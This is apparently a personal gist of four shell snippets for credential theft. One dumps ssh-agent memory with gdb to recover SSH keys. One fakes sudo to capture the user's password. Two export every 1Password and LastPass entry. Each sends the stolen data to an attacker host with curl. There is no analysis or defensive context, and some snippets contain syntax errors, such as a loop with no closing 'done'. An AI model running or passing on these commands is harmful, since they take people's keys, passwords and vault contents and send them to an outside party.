hax.md

gistfile1.txt

Example: Compromise a password protected SSH key:

```
for pid in $(ps --no-headers -fC ssh-agent | awk '{print $2}'); do
    mem="$(
        grep stack "/proc/${pid}/maps" \
        | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
    )"
    begin=$(echo "$mem" | awk '{print $1}')
    end=$(echo "$mem" | awk '{print $2}')
    gdb \
        --batch \
        -pid "$pid" \
        -ex "dump memory /tmp/${pid}.stack 0x${begin} 0x${end}" \
        > /dev/null 2>%1
    [ -f "/tmp/$pid.stack" ] \
    | curl -F 'p=<-' https://attacker.com \
    > /dev/null 2>&1 \
    < /tmp/${pid}.stack
```

Example: Compromise a sudo password:

```
function sudo () {
    realsudo=$(which sudo)
    read -r -s -p "[sudo] password for $USER: " password
    echo "$USER: $password" | \
        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
    $realsudo "${@:1}"
}
```

Example: Exfiltrate all plaintext credentials from 1password
```
op list items \
  | jq -r '.[].uuid' \
  | xargs -n1 bash -c 'op get item "$1"' -- \
  | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
```


Example: Exfiltrate all plaintext credentials from lastpass
```
lpass ls \
  | grep -oP '(?<=id: )([0-9]+)' \
  | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- \
  | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
```